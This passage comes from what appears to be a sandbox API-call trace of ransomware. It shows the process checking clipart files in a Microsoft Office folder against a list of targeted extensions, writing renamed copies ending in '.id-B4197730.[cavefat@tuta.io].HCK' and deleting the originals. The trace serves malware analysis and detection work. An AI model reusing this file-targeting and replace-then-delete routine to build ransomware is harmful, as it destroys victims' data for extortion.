Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".doc") returned 4 [0169.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".docx") returned 5 [0169.377] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.377] lstrlenW (lpString=".pdf") returned 4 [0169.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".xls") returned 4 [0169.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.377] lstrlenW (lpString=".xlsx") returned 5 [0169.377] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.377] lstrlenW (lpString=".ppt") returned 4 [0169.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".zip") returned 4 [0169.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.377] lstrlenW (lpString=".rar") returned 4 [0169.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".bz2") returned 4 [0169.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".7z") returned 3 [0169.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".dbf") returned 4 [0169.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".1cd") returned 4 [0169.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".jpg") returned 4 [0169.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".doc") returned 4 [0169.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".docx") returned 5 [0169.377] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.377] lstrlenW (lpString=".pdf") returned 4 [0169.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString=".xls") returned 4 [0169.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.377] lstrlenW (lpString=".xlsx") returned 5 [0169.377] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.377] lstrlenW (lpString=".ppt") returned 4 [0169.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.377] lstrlenW (lpString=".zip") returned 4 [0169.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.377] lstrlenW (lpString=".rar") returned 4 [0169.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.378] lstrlenW (lpString=".bz2") returned 4 [0169.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.378] lstrlenW (lpString=".7z") returned 3 [0169.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.378] lstrlenW (lpString=".dbf") returned 4 [0169.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.378] lstrlenW (lpString=".1cd") returned 4 [0169.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68 [0169.378] lstrlenW (lpString=".jpg") returned 4 [0169.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.378] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.378] lstrlenW (lpString="J0172067.WMF") returned 12 [0169.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.386] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7028) returned 1 [0169.386] CloseHandle (hObject=0x398) returned 1 [0169.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 0x220 [0169.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.392] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.399] GetLastError () returned 0x0 [0169.399] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1b74, lpOverlapped=0x0) returned 1 [0169.401] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1b80, lpOverlapped=0x0) returned 1 [0169.402] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.402] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.402] SetEndOfFile (hFile=0x398) returned 1 [0169.403] CloseHandle (hObject=0x398) returned 1 [0169.404] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.404] SetEndOfFile (hFile=0x368) returned 1 [0169.411] CloseHandle (hObject=0x368) returned 1 [0169.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".doc") returned 4 [0169.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString=".docx") returned 5 [0169.420] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.420] lstrlenW (lpString=".pdf") returned 4 [0169.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString=".xls") returned 4 [0169.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.420] lstrlenW (lpString=".xlsx") returned 5 [0169.420] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.420] lstrlenW (lpString=".ppt") returned 4 [0169.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".zip") returned 4 [0169.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.420] lstrlenW (lpString=".rar") returned 4 [0169.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString=".bz2") returned 4 [0169.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString=".7z") returned 3 [0169.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".dbf") returned 4 [0169.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".1cd") returned 4 [0169.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".jpg") returned 4 [0169.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.420] lstrlenW (lpString=".doc") returned 4 [0169.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.420] lstrlenW (lpString=".docx") returned 5 [0169.421] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.421] lstrlenW (lpString=".pdf") returned 4 [0169.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString=".xls") returned 4 [0169.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.421] lstrlenW (lpString=".xlsx") returned 5 [0169.421] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.421] lstrlenW (lpString=".ppt") returned 4 [0169.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.421] lstrlenW (lpString=".zip") returned 4 [0169.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.421] lstrlenW (lpString=".rar") returned 4 [0169.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString=".bz2") returned 4 [0169.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString=".7z") returned 3 [0169.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.421] lstrlenW (lpString=".dbf") returned 4 [0169.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.421] lstrlenW (lpString=".1cd") returned 4 [0169.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF") returned 68 [0169.421] lstrlenW (lpString=".jpg") returned 4 [0169.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.421] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.421] lstrlenW (lpString="J0174639.WMF") returned 12 [0169.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.425] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5100) returned 1 [0169.425] CloseHandle (hObject=0x330) returned 1 [0169.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 0x220 [0169.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.437] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.438] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.442] GetLastError () returned 0x0 [0169.442] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x13ec, lpOverlapped=0x0) returned 1 [0169.445] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0169.446] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.446] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.446] SetEndOfFile (hFile=0x388) returned 1 [0169.451] CloseHandle (hObject=0x388) returned 1 [0169.452] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.452] SetEndOfFile (hFile=0x378) returned 1 [0169.457] CloseHandle (hObject=0x378) returned 1 [0169.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString=".doc") returned 4 [0169.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".docx") returned 5 [0169.462] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.462] lstrlenW (lpString=".pdf") returned 4 [0169.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".xls") returned 4 [0169.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.462] lstrlenW (lpString=".xlsx") returned 5 [0169.462] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.462] lstrlenW (lpString=".ppt") returned 4 [0169.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString=".zip") returned 4 [0169.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.462] lstrlenW (lpString=".rar") returned 4 [0169.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".bz2") returned 4 [0169.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString=".7z") returned 3 [0169.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString=".dbf") returned 4 [0169.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString=".1cd") returned 4 [0169.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString=".jpg") returned 4 [0169.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.463] lstrlenW (lpString=".doc") returned 4 [0169.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".docx") returned 5 [0169.463] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.463] lstrlenW (lpString=".pdf") returned 4 [0169.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".xls") returned 4 [0169.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.463] lstrlenW (lpString=".xlsx") returned 5 [0169.463] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.463] lstrlenW (lpString=".ppt") returned 4 [0169.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.463] lstrlenW (lpString=".zip") returned 4 [0169.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.463] lstrlenW (lpString=".rar") returned 4 [0169.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".bz2") returned 4 [0169.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString=".7z") returned 3 [0169.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.463] lstrlenW (lpString=".dbf") returned 4 [0169.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.463] lstrlenW (lpString=".1cd") returned 4 [0169.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0169.463] lstrlenW (lpString=".jpg") returned 4 [0169.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.463] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0169.463] lstrlenW (lpString="J0177257.JPG") returned 12 [0169.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.468] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=45358) returned 1 [0169.468] CloseHandle (hObject=0x394) returned 1 [0169.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 0x220 [0169.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.483] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.483] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.489] GetLastError () returned 0x0 [0169.489] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb12e, lpOverlapped=0x0) returned 1 [0169.493] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb130, lpOverlapped=0x0) returned 1 [0169.494] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.494] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.494] SetEndOfFile (hFile=0x39c) returned 1 [0169.496] CloseHandle (hObject=0x39c) returned 1 [0169.496] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.496] SetEndOfFile (hFile=0x388) returned 1 [0169.506] CloseHandle (hObject=0x388) returned 1 [0169.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0169.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG") returned 68 [0169.509] lstrlenW (lpString=".doc") returned 4 [0169.509] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0169.509] lstrlenW (lpString=".docx") returned 5 [0169.509] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0169.509] lstrlenW (lpString=".pdf") returned 4 [0169.509] 